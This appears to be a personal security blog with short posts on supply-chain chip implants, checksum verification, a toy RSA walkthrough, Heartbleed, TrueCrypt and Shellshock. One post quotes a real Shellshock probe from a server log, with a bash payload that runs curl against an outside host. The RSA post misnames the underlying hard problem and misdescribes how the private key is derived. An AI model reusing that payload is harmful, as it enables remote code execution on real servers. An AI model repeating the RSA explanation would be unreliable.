Hardware hack and supply chain security

Bloomberg just made big news.

In its recent issue, it featured a cover story: “The Big Hack: How China Used a Tiny Chip to Infiltrate U.S. Companies“, detailed how Chinese military planted malicious chips into motherboards manufactured by Taiwanese supplier, supplying motherboards to a major server provider whose servers were used by almost 30 US companies, including Amazon and Apple. And by  doing this, Chinese military gains potential access to these companies and even US military.

Here’s the malicious chip on the motherboard:

Here’s a illustration of that process directly from their website: 继续阅读Hardware hack and supply chain security



一切都非常熟悉,非常正常。下载速度有点慢,等着也是等着,我就点开了SHA-256 checksum的链接,把内容拷贝到Downthemall里面,等待下载完了验证。


下载完毕,Downthemall开始验证,然后提示我,verification failed!




阅读任何一本现代密码学的基础书籍,读者都会被提醒:不要尝试自己发明加密算法(或者协议)。Please don’t try to invent your own encryption algorithm or protocol。








RSA illustration with not-so-small numbers – part 2

Let’s have a closer look at the encryption. During the communication, what’s been exposed are:

Alice’s public key (n=2627, e=13) , and the encrypted message.

For anyone who’s entered the world of modern cryptography from the old age, it’s tempting to try to decrypt the encrypted message using the encrypting key, the public key.

For these people, I have the below chart that shows the mapping between the plain text and the encrypted data:


x-axis is the plain-text data (sorted from 1 to 2627) and y-axis is the encrypted data(from 0 to 2626). I did the calculation using this line of script:

~$ for i in `seq 1 2627`; do echo "$i^13 %2627" | bc; done > /tmp/encryption.mapping

Below is part of this chart zoomed-in:


So you know the encrypted data, let’s say 2144, and you know the public key (n=2627, e=13). How do you find the number x such that x^13 % 2627 = 2144.

You cannot unless you compute everyone possible 1<x<2627 and then find the correct one. That’s brutal force. This is one of the basic assumption behind the security of RSA: There’s no efficient way to find x. This is called the discrete logarithm problem.

In real world scenarios, the 2 prime numbers will be so large that brutal force is simple impractical.

Then to decrypt the message, one would need the private key. The private key is the modular inverse of phi(n). However, in order to get phi(n), he has to know the factors that form n. And factoring large number is mathematically hard. That is the other assumption behind the security of RSA: There’s no efficient way to factor a large number.

As you will see in other places, these 2 assumptions are the corner stones of modern cryptography.

RSA illustration with not-so-small numbers

Modern cryptography is difficult to understand without illustrations. One of the reason is, modern cryptography involves very large numbers that easily exceed the capacity of a standard calculator, let alone human comprehension. There are some illustrations out there using small numbers. The problem is, the numbers are too small to be convincing. So I’d like to try some no-so-small numbers here. Most of the necessary calculations can be done with GNU bc, so you can try yourself on just any GNU Linux distribution.

Let’s say Bob wants to send the below number to Alice (and make sure only Alice can decrypt the message):


Here’s what Alice will do first:

  1. Pick up two distinct prime numbers. The numbers should be sufficiently large so that brutal force is difficult. Here we choose p=37 and q=71.
  2. Calculating n=pq=37*71=2627.
  3. Calculating the n‘s totient function: phi(n)=(p-1)*(q-1)=2520.
  4. Pick a number e between 1 and phi(n) that is co-prime with phi(n). Here we choose 13.
  5. Find number d so that e*d mod (phi(n)) =1. Here we choose 1357. This step cannot be done with bc. Intead, you can try this online calculator. Just put “modinv(13,2520)” in the text field and then press “go” you’ll get the result.

Now Alice has a public key (n=2627, e=13) and a private key (n=2627, d=1357). She can simply distribute her public key to everyone, including Bob.

Now for Bob to encrypt the message 520 to Alice, he has to encrypt the message using Alice’s public key:

520^13 % 2627 = 2235

Now Alice received this number 2235 from Bob. In order to decrypt this message, she do the following calculation:

2235^1357 % 2627 = 520

Actually, here Bob can encrypt just any number that is less than or equal to n in this way.


1^13 % 2627 = 1


1^1357 % 2627 = 1


2^13 % 2627 = 311


311^1357 % 2627 = 2


3^13 % 2627 = 2361


2361^1357 % 2627 = 3


4^13 % 2627 = 2149


2149^1357 % 2627=4


137^13 % 2627 = 2431


2431^1357 % 2627 = 137

If his message is large, then he has to split his message into chunks that are smaller than n and encrypt them one by one.

Note that this only illustrates how Bob can send secrete messages to Alice. If Alice wants to send secrete messages to Bob then she has to have Bob do the same first:

  1. Pick up 2 sufficiently large prime numbers;
  2. Get the product of these 2 prime numbers – This is part of the keys;
  3. Get the totient of this product;
  4. Pick a number that is co-prime with this totient but smaller – This combined with the product is the public key;
  5. Find the number that is the multiply modular inverse of this number – This combined with the product is the private key;

Then Bob sends his public key to Alice and Alice can encrypt the messages using Bob’s public key. Upon receiving the messages, Bob can decrypt the messages using his private key.

Targeted after 3 days - - [27/Sep/2014:04:54:05 +0800] "HEAD /cgi-bin/ HTTP/1.1" 403 158 "-" "() { :;}; /bin/bash -c 'curl<site-name-masked-off>/cgi-bin/'"

This is the first sign on my server that someone try to exploit the potential Shellshock vulnerability on my server, just 3 days after the vulnerability was disclosed. Should I feel happy that I actually get high attention? Luckily I patched this server the next day the vulnerability was disclosed.

Vulnerability found in Bash

2014 must be a really bad year for open source community in security.

Less than 6 months after Heartbleed was found in OpenSSL, now Bash is found vulnerable of remote code execution. This time I’m not sure it’s because of poor funding or something else.

Maybe it’s a good time now to look back on how did the Heartbleed bug come about. Mr. Bruce Schenier posted a very good article on this.

Wow, what happened to TrueCrypt?

I heard about this last week but didn’t have time to check it out. I can’t believe it’s so drama!

I’m a regular user of TrueCrypt, but I don’t visit its website.  I’ve never had to ask anything for support. It just works.

Now this is what on their website:




The only explanation that makes sense to me is: The developers were forced to (by threatening or beating) abandon this great software. Why? Because it’s so good that some secrete agency simple cannot break into a TrueCrypt encrypted disk.

Now have all the reason to continue using TrueCrypt!

Heartbleed vulnerability

Just saw some friends sharing this in Wechat. Seems I will have a lot of work to do – patching my servers, replacing certificates, regenerating keys, etc.:(

It’s really unbelievable. This will be a big blow on the open source community. I already saw people saying “see? Open source is no securer”. Well, they are right.

To me, this has nothing to do with open source or not. M$ may have something even worse but you will need longer time to find out. I just searched the web and found that as a library that has been so widely used, OpenSSL has only one full time developer and receives on average $2,000 donation per year. What do you expect?

But that simply won’t justify such a disaster and it will cast a bad image for open source community in general. I can only hope leaders in this industry see this differently and start to support these great open source projects. They deserve better!